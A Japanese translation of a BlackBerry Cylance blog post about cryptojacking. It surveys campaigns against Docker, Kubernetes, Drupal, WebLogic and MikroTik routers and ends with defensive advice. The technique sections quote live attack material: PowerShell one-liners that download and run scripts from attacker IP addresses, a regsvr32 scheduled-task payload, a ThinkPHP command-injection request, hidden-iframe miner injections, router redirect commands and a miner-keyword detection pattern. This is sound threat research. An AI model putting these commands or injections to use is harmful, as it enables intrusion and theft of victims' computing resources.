本ブログ記事は、2020年2月12日に米国で公開された抄訳版です。原文はこちらからご覧頂けます。
技術の発展は目覚ましく、セキュリティ対策も追いつかないほどです。人類の発明の歴史を通じて、私たちはいつも、潜在的なリスクについての十分な調査も済まないうちに技術を活用してきました。潜在的な攻撃からユーザーを保護するための適切なセキュリティ対策が講じられるよりもずっと前からです。
このブログ記事では、仮想通貨マイニングの攻撃がどのようにして開始されるのか、どういった標的がマイニングされるのか、そして攻撃者はそうした攻撃をどのように行っているのかについて説明します。暗号通貨マイニング攻撃から組織を守る方法について、その背景となる状況や詳しい手順を示します。
経緯
90年代に、科学研究員のStuart HaberとW. Scott Stornettaがブロックチェーンと呼ばれるシステムを開発しました。このシステムはデジタル文書のタイムスタンプ処理における弱点を解消するために使われました。タイムスタンプが記録された文書の保存に、暗号化で保護された「ブロックの鎖」を用いるという考え方に基づいて構築されたのです。ただし、このシステムは信頼できる人物により署名されたシグネチャに依存するものでもあり、完全な解決策とは言えず、脆弱性が残っていました。
2008年に、Satoshi Nakamoto称する個人、あるいはグループがブロックチェーンの背景となっている発想を概念化しました。デジタル文書のタイムスタンプ処理に暗号化シグネチャを実装することでこれまでの解決策が改善され、信用に頼るというリスクが解消されました。
以下のセクションで、暗号通貨の誕生とブロックチェーンの仕組みについて説明します。
2009年の経済的な出来事
暗号通貨の必要性を理解するためは、2007年と2009年初頭の世界金融危機について振り返らなければなりません。この危機の間に、銀行の信用は失われました。信用モデルにおける弱点に伴い、透明性と認証や監査の機能を備えた、これまでとは別のシステムが望まれていました。
2009年1月3日に、ビットコインネットワークの運用が開始されました。このネットワークは、分散化された決済ネットワークを提供するために作られました。信用モデルに基づいて構築された集中型台帳に頼るのではなく、分散型台帳と暗号化署名が使われています。
以下のセクションでは、ブロックチェーンの内部の仕組みを概説します。
ブロックチェーンの内部の仕組み
ブロックチェーンは、フラットなピアツーピア(P2P)ネットワークで動作します。このネットワーク内での取引は全ノードにブロードキャストされます。
図1:接続されたピア
以下の取引では電子コインが使われていますが、これらのコインにはデジタルシグネチャが記録されています。各所有者は次の所有者にコインを送金するときに、「前の取引」と「次の所有者の公開鍵」のハッシュをデジタル署名します。その時に、この記録がコインの末端に付加されます。Satoshiの論文(「Transactions」セクション)から引用した、この説明に関する図を以下に示します。
図2:取引の例
ノードは、所有者のシグネチャに属する正確なハッシュを競って特定しようとします。存在するノードの数に応じ、ノードが取引ブロックを識別するのに要する時間が増減します。目標は、10分ごとに1回新しいブロックを探し続けることです。取引ブロックが識別されると、検証プロセスが開始されます。このプロセスでは、ノードが取引を正確に識別しているかどうかを残りのノードが検証します。50%を超すノードがそのブロックは正しく識別されたと認める場合、そのブロックは元帳に記録されます。
これで電子決済システムの仕組みの基本的な事項がわかったと思いますので、その取引量について概観します。
トラフィックのフロー
暗号通貨が一定のペースで発行されるように、ブロックの半減期として呼ばれるプロセスが使われます。ブロックの半減期とは、新しく発行される暗号通貨の率を減らすプロセスのことです。特に、マイナーに与えられるブロック報酬が定期的に半減するイベントをいいます。
ブロックの半減は、インフレ率の状態にもよりますが、通常は4年に一度発生します。下の図は、ブロックチェーンが生まれてからのブロックごとの平均取引数を示しています。
図3:ブロックごとの平均取引数
ご覧の通り、暗号通貨マイニングは留まるところを知らず、トラフィックは毎年変動しています。最後のビットコインがマイニングされるのは、2140年5月7日とされています。
使用可能な暗号通貨形式はビットコインだけではありません。マイニングが多数実行されている暗号通貨とそれらで使われているプルーフオブワークハッシュ化アルゴリズムを以下に示します。
- ライトコイン(Litecoin):マイニングのプルーフオブワークにScryptアルゴリズムを使います。このアルゴリズムは、CPU、GPU、またはScrypt ASICといったプロセッシングユニットで使用可能です。推奨されているのはScrypt ASICです。
- レイヴンコイン(Ravencoin):マイニングのプルーフオブワークにX16Rアルゴリズムを使い、GPUプロセッサで使用可能です。
- グリン(Grin):Cuckoo Cycleアルゴリズムを使います。このアルゴリズムは、RawプロセッサやGPU速度よりもメモリ帯域幅を必要とします。
- ホライズン(Horizen):マイニングのプルーフオブワークにEquihashアルゴリズムを使います。このアルゴリズムは、RawプロセッサやGPU速度よりもメモリ帯域幅を必要とします。
- イーオン(AEON):マイニングのプルーフオブワークにCryptoNight-Liteアルゴリズムを使います。CPUおよびGPUで使用可能です。
- エレクトロニウム(Electroneum):マイニングのプルーフオブワークにCryptoNightアルゴリズムを使います。CPU、GPU、またはASICプロセッシングユニットで使用可能です。推奨されているのはASICです。
- フェザーコイン(Feathercoin):マイニングのプルーフオブワークにNeoScryptアルゴリズムを使います。GPUで使用可能です。
- ヴァートコイン(Vertcoin):マイニングのプルーフオブワークにLyra2REv2アルゴリズムを使います。GPUで使用可能です。
- モネロ(Monero):CryptoNight(現在はRandom-Xアルゴリズム)を使い、CPUの処理速度に対応しています。
- イーサリアム1.0(Ethereum 1.0):マイニングのプルーフオブワークにKECCAK-256アルゴリズムを使います。CPUおよびGPUといったプロセッサで使用可能です。推奨されているのはGPUです。
実装される各種ハッシュ化アルゴリズムを概念化することで、暗号通貨マイニング操作の実行に使用可能なそれぞれのシステムについて理解することができます。
どのシステムを標的にするかを検討するだけでなく、処理能力も暗号通貨マイニングの重要な要素になります。攻撃者は、利益を得るために、暗号通貨のマイニングに使えるシステムの数や、長期間にわたってシステムに潜んでいるために必要なものに注目する傾向があります。たとえば、Nansh0uキャンペーンは、世界中のMS-SQLとPHPMyAdminのサービスを標的とし、2月に攻撃が始まったことが確認されました。このキャンペーンでは、50,000を超すMS-SQLとPHPMyAdminのシステムが、別のオープンソースの暗号通貨であるTurtleCoinのマイニングに使われました。この暗号通貨はXMRigとJCEのクリプトマイナーを使って一般に利用されています。TurtleCoinではCPUに適した以下の12種類のプルーフオブワークアルゴリズムを使います。
- CryptoNight
- CryptoNight v1
- CryptoNight v2
- CryptoNight Lite v0
- CryptoNight Lite v1
- CryptoNight Lite v2
- CryptoNight Turtle v0
- CryptoNight Turtle v1
- CryptoNight Turtle v2
- CryptoNight Soft Shell v0
- CryptoNight Soft Shell v1
- CryptoNight Soft Shell v2
システムエラー
インターネットに接続するサービス、Webサイト、リポジトリは、暗号通貨マイニング操作を実装しようとする攻撃者の格好の標的となります。ユーザーが頻繁にアクセスするほか、高性能なシステムで動作していることが多いためです。以下は、DockerまたはKubernetesが動作するAWSに影響を及ぼした攻撃の実例であり、AWSはコンテンツ管理システム(CMS)を備えたWebサイトとOracle WebLogicが動作するシステムからなります。
攻撃1
攻撃者は、Graboidとして知られているクリプトマイナーを感染させる悪意のあるイメージを、世界最大規模のライブラリでありコンテナイメージのコミュニティでもあるDocker Hubに送り込みました。この攻撃により、2,000を超すクリプトマイナーがアマゾンのクラウド全体に拡散されました。通常、Dockerコンテナはセキュリティ製品による検査を受けません。Dockerコンテナがインターネットに公開されると、たちまちのうちに格好の標的になりました。
以下のイメージは、公開されたDockerエンジンでのshodan.ioの検索クエリを示したものですが、結果は15,914インスタンスとなっています。
図4:公開されたDockerコンテナで15,914のクエリが実行
図5:Dockerコンテナが多く公開されている組織
サイバー脅威に関する情報を提供しているBad Packets社の研究者が先日、APIエンドポイントを公開するDockerでの大規模なスキャン操作を確認しました。これらのAPIによって、攻撃者は暗号通貨マイニング操作の実行に使われるコマンドの実装が可能になります。
攻撃2
攻撃者は、インターネットに接続する数百ものKubernetesの管理コンソールを突き止めて不正にアクセスしましたが、この管理コンソールはテスラのパブリッククラウドでホストされるサービス群を(パスワードなしで)操作するものでした。攻撃者はそれらのシステムを使って、マイニングプールソフトウェアをインストールし、リストに記述されていない半公開のエンドポイントを生成するようシステムを設定して検出を回避していました。また、Cloudflareを悪用してマイニングプールのIPアドレスを隠蔽していました。2019年時点で、10,520の公開された管理コンソールが確認されました。
図6:10,520の公開されたKuberneteマスターサーバー
攻撃3
攻撃者は「Kitty campaign」と呼ばれるキャンペーンで、Drupalが動作するWebサイトをCVE-2018-7600を悪用して攻撃しました。それによって、悪意のあるPHPバックドアを記述し、クリプトマイナーをme0w.jsというファイルに隠して配信できるようになります。この攻撃は、世界中で400を超す政府と大学のWebサイトに影響を与えました。
攻撃4
2018年および2019年には、Oracle WebLogicの脆弱性、CVE-2017-10271とCVE-2019-2725が攻撃者によって悪用され、クリプトマイナーがインストールされました。以下の画像が示す通り、デフォルトポートのTCP7001で実行されているシステムは現在17,010に上ります。
図7:17,010の公開されたOracle WebLogic管理サーバー
攻撃5
攻撃者がADB(Android Debugging Bridge)を使い、Androidを搭載したIoT(Internet of Things)機器を悪用しました。IoT機器は、監視されることがまれで、通常電源が入った状態にあり、インターネットに常時接続されているため、格好の標的になります。攻撃は5555番ポートでのADBのマッピングにより開始されます。以下は、インターネットに接続されている10,197台のAndroid機器を示したshodan.ioのイメージです。
図8:10,197台の公開されたAndroid機器
攻撃6
暗号通貨マイニング攻撃は無作為に行われるだけではありません。より大規模なリソースへのアクセスを乗っ取るため、有名人が標的にされることも少なくありません。シンガポールのある国民が、ライアットゲームズの共同創業者である大富豪Marc Merrillの識別情報を窃取するためにソーシャルエンジニアリング攻撃を仕掛けたことが先頃確認されました。窃取されたMerrillの識別情報は、アマゾンウェブサービスおよびGoogleのクラウドコンピューティング機能を盗用してビットコインやイーサなどさまざまな暗号通貨をマイニングするために使われました。検察官は、「ある時点でこの攻撃者はAWSで最大のデータ消費者にさえなった」と述べ、さらにこう付け加えました。
「攻撃者はこうした手口を数ヶ月にわたり盛んに用い、その間に[攻撃者の名前を削除]は、未払いのクラウドコンピューティングサービスにおけるマイニング操作で500万ドル余りを費やし、短期間でのアマゾンウェブサービス(AWS)のデータ使用量は最大規模に達した」。
アマゾン、Google、Facebookなどが提供した、IPアドレスやログイン情報などのデータのおかげで、警察は主要な容疑者を突きとめることができました。攻撃の容疑者は逮捕され、有線通信不正行為の訴因8件、アクセスデバイス詐欺の訴因4件、加重個人情報窃盗の訴因2件で現在起訴されています。
次のセクションでは、クリプトマイナーのインストールに広く使われているいくつかの戦術とツールの事例を見てみましょう。
クリプトジャッキングの手法
開発者は、暗号通貨のマイニングに使うプログラミングライブラリやインターフェースを所有し、その開発を続けています。また、こうしたツールは、クリプトマイナーを実行するコンピューターをハイジャックする手法としても用いられます。クリプトマイナーを実行するコンピューターのハイジャックは、クリプトジャッキングと呼ばれています。
さまざまなツール、手法、リソースに関して詳しく説明する上で強調しておきたいのは、攻撃者が使うクリプトマイナーは、リソースとして新たに追加できるコンポーネントとして捉える必要があり、マイニングを開始するのに適した時が来たら、トリガーされたイベントに基づいてそのコンポーネントを実行することができるということです。前述の(あるいはインターネットで簡単に見つけられる他の)例を考えると、クリプトジャッキングは迷惑行為としてではなく実際に活動している脅威として捉える必要があります。
暗号通貨マイニング用JavaScriptライブラリ
CryptoLootにはcrypta.jsと呼ぶスクリプトがあり、現在このスクリプトの利用が増加傾向にあります。CryptoLootは、アンチウイルス(AV)の検知の回避に有効な、最新の難読化手法に追従するという選択肢を備えています。
以下は、このスクリプトを利用している4,387システムの画面表示のアウトプットです。
図9:Crypto-LootのJSスクリプトを利用している4,387システム
Coinhiveは、Coinhive.min.jsという名前のスクリプトを提供しましたが、これによって攻撃者は暗号通貨マイニング操作を実行できるようになります。Coinhiveは既に停止しているにもかかわらず、それを使っているシステムは、以下のアウトプットが示す通り、まだ59,304以上あります。
図10:Coinhive.min.jsを利用している59,304システム
Coinhive.min.js は malvertising キャンペーンで広く使われましたが、それは、このライブラリを使うとトラフィックの多いWebサイトにコードを埋め込むのが容易になるためです。
暗号通貨マイニング用API
JSEcoinでは、暗号通貨マイニング操作を動かすのに使うコードがWebマスターに提供されますが、そのコードは攻撃者も入手しています。以下はマイニングが可能になるコードスニペットの例です。
<script src="hxxps://load[.]jsecoin.com/load/2895/jsecoin[.]com/optionalSubID/0/" async defer></script>
hxxps://load[.]jsecoin.com/load/2895/jsecoin[.]com/optionalSubID を指すことで機能しますが、これがJSEcoinのサーバーのインターフェースに使われるAPIです。
図11:JSEcoinサーバー v1.9.2
以下のアウトプットが示す通り、JSEcoinを利用するマイナーの数もまた増加しています。
図12:JSEcoinをマイニングするマイナーの総数
暗号通貨マイニング用WebAssemblyモジュール
WebAssembly(WASM)は、スタックベースの仮想マシン(VM)に対するバイナリ命令形式です。低レベルのバイトコードを処理しますが、このバイトコードによって高速化されることに加え、CやC++、Rust、Golangなど高級言語のコンパイルに対し移植性の高い対象となるよう設計されています。WASMは、FirefoxやChrome、WebKit/Safari、Microsoft Edgeなど多くのブラウザでサポートされています。Cryptonight.wasmなど、クリプトマイナーはこの形式を用いて開発されており、攻撃者に利用されています。例:https://www.virustotal.com/graph/embed/gf83a4d7a8611461db53c74e01f444d5aa64cc5568d40454992b5dc0d23258d38
公開プラットフォームとリポジトリ
YouTubeやGitHubなど、インターネットに接続されているリソースは、攻撃者に、アウトバンドのファイアウォール制限をバイパスする方法と、クリプトマイナーを拡散させる手段をもたらしています。
たとえば、YouTubeは、ユーザーによるiframeタグの組み込みを可能にする広告サービスを提供しますが、iframeタグによって、攻撃者は、暗号通貨マイニングを実行するようにデザインされたJavaScriptライブラリを組み込むことができるようになります。先頃、Stantinkoとして知られるボットネットがYouTubeの広告サービスを使ってクリプトマイナーを拡散し、世界中で50,000台以上の機器が感染しました。
GitHubには、オープンソースのクリプトマイナーが豊富にあり、攻撃者が簡単にコードを修正したり、コードをリソースに埋め込んだりすることができます。たとえば、hxxps://github[.]com/fireice-uk/xmr-stakがありますが、これはStantinkoボットネットで採用されました。GitHubで提供されるフリーコードに加え、公開リポジトリが、モネロなどのバックドア化したクリプトマイナーを密かに保存するのに利用されます。
クリプトマイナーのロードに使われる公開リポジトリは、GitHubだけではありません。2018年には、Kodiアドオンを標的にしたキャンペーンが行われ、62.57モネロコイン(7,000ドル相当)が生み出されました。攻撃者は、XvBMCおよびBubbles、Gaiaのアドオンのリポジトリにクリプトマイナーをロードすることでこれを行いました。
暗号通貨マイニング用のブラウザー拡張
クリプトマイナーをデプロイする攻撃者は、ChromeやFirefoxのアドオンのリポジトリを使って、Image PreviewerやNigelifyなどのような害のない拡張に見せ掛けたクリプトマイナーを保存しました。NigelThornをデプロイした2018年のキャンペーンでは、ブラウザー拡張を利用して10万台を上回るマシンを感染させたことが確認されました。
トラフィックリダイレクションの手法
先頃、MikRoTik製ルーターを標的にしたCoinhiveキャンペーンが実行されましたが、そこでは20万台を上回るMikRoTik製ルーターが不正にアクセスされ、モネロコインのマイニングに使われました。このキャンペーンの攻撃者は、ファイアウォールのルールの作成を意図した以下のようなスクリプトをインストールし、そのスクリプトを使ってユーザーをCoinhiveのランディングページにリダイレクトしました。
- /ip proxy set enabled=yes
- /ip proxy access add action=deny disabled=no
- /ip firewall nat remove [find comment=sysadminpxy]
- /ip firewall nat add disabled=no chain=dstnat protocol=tcp dst-port=80 src-address-list=!Ok action=redirect to-ports=8080 comment=sysadminpxy
- /ip firewall nat move [find comment=sysadminpxy] destination=0
- /ip firewall filter remove [find comment=sysadminpxy]
- /ip firewall filter add disabled=no chain=input protocol=tcp dst-port=8080 action=add-src-to-address-list address-list=Ok address-list-timeout=15s comment=sysadminpxy
- /ip dns set servers=8.8.8.8
- /ip service set www disabled=yes port=80
- /ip service set winbox disabled=no port=8291
- /ip cloud set ddns-enabled=yes
- /interface wireless security print file=sn112
- /interface wireless print file=sn113
以下のshodan.ioの画像で示されている通り、不正にアクセスされたMikroTik製ルーターの数は減少しています。
図13:22,490台の公開されたMikroTik製ルーター
コードインジェクションによる手法
iframeタグを使うことで、攻撃者はクリプトマイナーを感染させるページへのリンクを挿入できるようになります。たとえば、Webサイトに以下のコードを簡単に埋め込めます。
<iframe src="https://somesite[.]com/page[.]html" style="width:0;height:0;border:0; border:none;"></iframe>
|
すると、このコードが被害者を以下のスクリプトを含むページにリダイレクトします。
<script src="https://somelandingpage/lib/coinhive[.]min[.]js"></script>
<script>
var miner = new CoinHive.Anonymous('YOUR-SITE-KEY-HERE');
miner.start();
</script> |
iframeで指定するソースは、以下のようにファイル転送操作を指すこともできます。
<iframe src=ftp://ftp:shadow[at]196[.]xxx.xxx.76//info.zip width=1 height=1 frameborder=0>
</iframe>
<iframe src=Photo.scr width=1 height=1 frameborder=0>
</iframe> |
PHPインジェクションは通常、PHPシェルを記述し、システムコマンドを実行するために使われます。攻撃者は、PHPにおける入力データのサニタイズ処理に失敗する関数に対する標的を列挙します。
hxxp://server/public/index[.]php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'.
|
この例では、ThinkPHP v5.0.23およびv5.1.31の脆弱性を示しています。XMRigクリプトマイナーを拡散させる方法として、攻撃者はこの脆弱性を悪用してSpeakUpのペイロードを挿入します。
Process Hollowersは通常ローダーで使われ、クリプトマイナーをメモリに挿入します。そして、たいていはネイティブなプロセス名(svchost.exeなど)を偽装します。通常、プロセスホローイングではVirtualAllocEx(MEM_COMMIT | MEM_RESERVE、PAGE_EXECUTE_READWRITE)を、正規にロードされたプロセスに見られるPAGE_EXECUTE_WRITECOPYの設定ではなく、WriteProcessMemory()と共に使います。攻撃者は、検出を回避するためにntdll.dllを解析し、ネイティブシステム関数を直接呼び出すことで、この手法を強化しています。たとえば、GetModuleHandleA("ntdll.dll")を呼び出してポインターをntdll.dllに設定した後、GetProcAddressを使い、クリプトマイナーをメモリにロードするために使われる以下のネイティブシステムコールの場所を特定することができます。
- NtUnmapViewOfSection() – 元のクリプトマイナーモジュールのマップ解除に使用
- NtCreateSection() -- クリプトマイナーのコードを記述するセクションの作成に使用
- NtMapViewOfSection() – 上記セクションをネイティブプロセス(svchost.exeなど)にマッピングするために使用
- NtWriteVirtualMemory() – 現在のプロセスのImageBaseAddressをホローイングされたプロセスの環境ブロックのImageBaseAddressに記述するために使用
- NtResumeThread() – 中断されているプロセスの再開に使われ、実行を開始
コマンド実行の手法
サイバーセキュリティ会社Impervaの研究者は、クリプトマイナーをインストールする攻撃の90%でリモートコマンドが実行されていたことを確認しました。リモートコマンドの実行は、PHPのinclude()やjava.lang.Runtime.getRuntime().execなどの脆弱なシステム関数を悪用するものから、ネイティブのバイナリを利用して以下のようにリモートコードを実行するものまで、多くの方法で実装可能です。
cmd /c powershell -nop -noni -w hidden "$a=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if(($a -eq $null) -or (!($a.contains('DSM Event Log Filter')))) {IEX(New-Object Net.WebClient).DownloadString('hxxp://195.22.127.157:8000/info6.ps1')}
|
powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%cert.cer (New-Object Net.WebClient).DownloadString('hxxp://45.32.28.187:1012/cert.cer'); certutil -decode %APPDATA%cert.cer %APPDATA%update.ps1 & start /b cmd /c powershell.exe -Exec Bypass -NoExit -File %APPDATA%update.ps1 & start /b cmd /c del %APPDATA%cert.cer
|
上記の例は、クリプトマイナーを実行するために、あるいはXSL変換を行うときに使われます。XSL変換は、システムコマンドを実行するために使うことができ、OOXMLやWindows Script Componentなどのさまざまなファイル形式に組み込むことができます。この手法の例を以下に示します。
schtasks.exe /Create /SC MINUTE /TN example /TR "regsvr32 /s /n /u /i:http://example.com/dr/example.sct scrobj.dll" /MO 5 /F
|
図14:XMLペイロードの例
XSLに関する詳しい情報はこちらで参照できます。Living Off The Landでは、脅威の検知を簡単に回避することができてしまいます。そして、その具体例の多くは、https://lolbas-project.github.io/で見つけられます。
クリプトジャッキング攻撃を行う際ときに最も重要なのが、セキュリティ製品を回避することです。攻撃者が実際に利益を得るには、マイニングするシステムやネットワークに数ヶ月にわたって潜んでいる必要があります。
これらの広く使われている手法の一部を以下に示します。
Watchdog - ローダーがクリプトマイナーをsvchost.exeなどのネイティブプロセスに挿入すると、第2のモジュールがメモリにロードされ、クリプトマイナーに対するウォッチドッグとして動作します。その目的は、アンチウイルスエージェントやタスクマネージャーの起動時など、ウォッチドッグがイベントを検出したときは必ずクリプトマイナーを一旦終了させてから、後でまた生成することです。こうしたクリプトマイナーの実例には、WinstarNssmMinerやNormanクリプトマイナーなどがあります。
ステガノグラフィ - 攻撃者は、.wavファイルや.pngファイルなどのさまざまなファイル形式で検出を回避するようになってきています。さらに、画像認識スキャナも回避するために、gzipなどの圧縮アルゴリズムを使って、コードが検出されないよう隠蔽してきました。BlackBerry Cylanceの脅威調査担当者は以前、クリプトマイナーがWAVファイルを使って検出を回避する方法についてブログで詳しく説明しました。
ファイルレス攻撃 - PowerShellやNSIS、AutoIt、AutoHotkeyなどのインタープリターを使えば、メモリ内でペイロードを直接実行できるため、こうしたインタープリターによって攻撃者は検出を回避できるようになります。その上、セキュリティソリューションでは、MSVCなど通常使われるコンパイラでコンパイルされたサンプルから得られたデータが利用される傾向があります。たとえば、以下のPowerShellスクリプトが、GhostMinerの作成とロードに使われました。
NSISを使うと、DLLで指定した関数の呼び出しに使えるCallAnsiPlugin といったプラグインを開発者は作れるようになります。また、NSISにはプラグインディレクトリがあり、追加のファイルを格納することもできます。このことよって、実行形式にコンパイルされていないファイルから追加のパラメータをロードさせる手段が攻撃者にもたらされます。たとえば、Normanクリプトマイナーがインストールされてしまったような場合です。
AutoITとAutoHotkeyは、無償のMicrosoft Windows向けオープンソーススクリプト言語です。タスクの自動化を目的に開発されており、Windowsのイベントフックとの相互作用や、VBScript/JScriptおよびDLLの実行中プロセスへの挿入に使うことができます。攻撃者は、多くの場合、ショートカットリンクやスケジュール済みタスクを利用して、ファイルに格納されたパラメータを実行するインタープリターを起動します。この動作の実例は、RETADUPとして知られるポリモーフィック型のクリプトマイナーで見られます。
我々は前述したセキュリティ対策の回避に使われる手法のほか、以下の、侵害されたネットワークを通じて拡散させるために使われる方法にも注目してきました。
ファイル管理サービス(SMB)とリモートデスクトップサービス(RDP)は、 MadoMiner and Zombieboyのような脅威で、システム全体への拡散に広く用いられてきました。 Exploits such as EternalBlueやBlueKeep、DejaBlueなどのエクスプロイトでは、攻撃者は、それが一層容易になります。以下は、攻撃者にエントリーポイントを公開していると考えられる4,806,484システムのスクリーンショットです。
図14:4,806,484の公開されたシステムのサービス
仮想通貨の世界で知られている、通貨を生成する類の攻撃はクリプトジャッキングだけではありません。「51%攻撃」として知られているものもあります。これは現在主流になっており、シットコムの「Silicon Valley」にさえ登場しました。51%攻撃とはプルーフオブワークへの攻撃のことであり、攻撃者がマイナーグループを用いて、ネットワークのマイニングハッシュレートの50%以上を支配します。そのような状態になったときは、攻撃者が取引を入れ替えたり取引ブロックを無効化したりすることができるようになると考えられます。
暗号通貨マイニングにおける今後の開発
テクノロジー業界では、技術を実際のニーズに合うように調整する傾向があります。そのニーズの1つが、経済の安定性を維持する能力です。経済は信用される必要があり、長期にわたって安定状態が続くと信じられる必要があります。Stablecoinsはその土台となるように開発されています。Stablecoinは、ブロックチェーンをベースとする決済で、不換通貨を利用することで暗号通貨に安定性をもたらすことを目標としています。
法定不換紙幣には現金、中央銀行通貨、市中銀行通貨の3種類があります。現在、Stablecoinの担保として使われる可能性が最も高いのが市中銀行通貨です。大企業に対する規制が少ないなど、Stablecoinには潜在的な課題があります。さらに、暗号通貨の採用がより広がるにつれて、攻撃者にとっても魅力が次第に増します。残念ながら、Stablecoinは依然としてクリプトジャッキング手法による影響を受けています。
暗号通貨マイニングはエネルギー消費に多大な影響を与えます。この問題への解決策としてプルーフオブステークが考え出されました。(PoW)マイナーが難解なパズルを解くレースを競うとき、この問題が生じます。プルーフオブステークは、ユーザーの出資金に基づき勝者をランダムに選ぶコンセンサスアルゴリズムを利用して、この処理能力を取り除くことを意図しています。マイナーが所有するコインが多いほど、備えているマイニングパワーも多いのですが、近い将来、それ自体で問題が起こる可能性があります。
サイバーワールドにおける脅威との戦い
それで、ここからどこに進み、どのように未知の危険から自身を守ればいいのでしょうか。最後のセクションでは資産の保護に有効ないくつかの方法を提供します。セキュリティはライフスタイルとして扱う必要があります。そして、適切なセキュリティ手順を取り入れて実践するときに、それは習慣になるのです。
実施するIT管理者およびITチーム向け手順の一部を以下に挙げます。
- 管理者権限を分離する:システムへのアクセスがユーザーの職務や役割における主要な業務ではない場合、そのユーザーはそのシステムやネットワークに対する管理者のアクセス権を持つ必要があるのかを常に考えるようにします。個々の事例について個別に必要性を判断するより簡単だからという理由で、すべてのシステムへのアクセス権を与えてしまうと、確実に災難を招くことになります。水平移動は暗号通貨マイニング攻撃でよく見られます。水平移動で使われる共有には、C$、ADMIN$、IPC$などの、Windowsの管理者共有があります。
- システムには必ず最新のパッチを適用する:パッチを簡単かつ(ほとんどの場合は)自由に入手できるのに、システムが最新の状態に維持されていないようなことがあってはなりません。以下は、クリプトジャッキング攻撃の間にエクスプロイトされた一般的な脆弱性の一部です。
◦ CVE-2019-2725
◦ CVE-2018-7602
◦ CVE-2017-0143
◦ CVE-2017-0144
◦ CVE-2017-0145
◦ CVE-2017-0146
◦ CVE-2017-0148
◦ CVE-2017-3506
◦ CVE-2017-10271
◦ CVE-2017-12149
◦ CVE–2017–8464
◦ CVE-2017-0176
◦ CVE–2017–12635
◦ CVE–2017–12636
- スケジュール済みジョブの監視IT:管理者は、暗号通貨のマイニングに関連するテキスト文字列でフィルタリングすることにより、DNSクエリを監視する必要があります。たとえば、「Bitcoin|Crypto|Cryptonight|Pool|BTC|XMR|Monero|Minergate|CoinHive|Zcash」といったもの。クエリを監視するときは、CPUの使用率が上昇してスパイクが発生していないかどうかを念入りに観察します。Webサイトにアクセスした後で突然CPUのスパイクが発生するのは異常なことであり、システムがクリプトマイナーに感染した明らかな証拠を示している可能性があります。
ブロックチェーンについてさらに詳しく知りたい場合は、https://bitcoin.org/bitcoin.pdfをご覧ください。
関連資料
- https://en.wikipedia.org/wiki/Blockchain
- https://unit42.paloaltonetworks.com/graboid-first-ever-cryptojacking-worm-found-in-images-on-docker-hub/
- https://www.wired.com/story/cryptojacking-tesla-amazon-cloud/
- https://threatpost.com/kitty-cryptomining-malware-cashes-in-on-drupalgeddon-2-0/131668/
- https://cyware.com/news/attackers-exploit-major-vulnerability-in-oracle-weblogic-server-to-drop-cryptominers-0f868dae
- https://blog.netlab.360.com/malicious-campaign-luoxk-is-actively-exploiting-cve-2018-2893/
- https://www.fireeye.com/blog/threat-research/2018/02/cve-2017-10271-used-to-deliver-cryptominers.html
- https://cointelegraph.com/news/crypto-miner-steals-5m-worth-of-computing-power-using-identity-of-riot-games-founder
- https://blogs.quickheal.com/trinity-miner-using-open-adb-port-to-target-iot-devices/
- https://badpackets.net/200000-mikrotik-routers-worldwide-have-been-compromised-to-inject-cryptojacking-malware/
- https://threatpost.com/cryptomining-worm-infections-self-destructs/147767/
- https://news.sophos.com/en-us/2019/02/26/automated-android-attacks-deliver-ufo-cryptominer-trojan/
- https://cybersecurity.att.com/blogs/labs-research/zombieboy
- https://blog.minerva-labs.com/ghostminer-cryptomining-malware-goes-fileless
- https://www.fortinet.com/blog/threat-research/python-based-malware-uses-nsa-exploit-to-propagate-monero--xmr--.html
- https://blog.radware.com/security/2019/01/the-rise-in-cryptomining/
- https://blog.avast.com/greedy-cybercriminals-host-malware-on-github
- https://threatpost.com/malicious-docker-containers-earn-crypto-miners-90000/132816/
注:暗号通貨マイニングのコードサンプルおよびWeb参照資料は、教育目的での使用のみを意図して提供されています。BlackBerry CylanceおよびBlackBerry LTDは、この教育的記事において言及もしくはリンクされた暗号通貨マイニングもしくは関連する手法の実行を試みた読者によりもたらされた、いかなる個人もしくは企業における損失、または経済的損失に対しても責任を負いません。
About Bronson Boersma
Bronson Boersma は BlackBerry Cylance のシニア脅威リサーチャーです。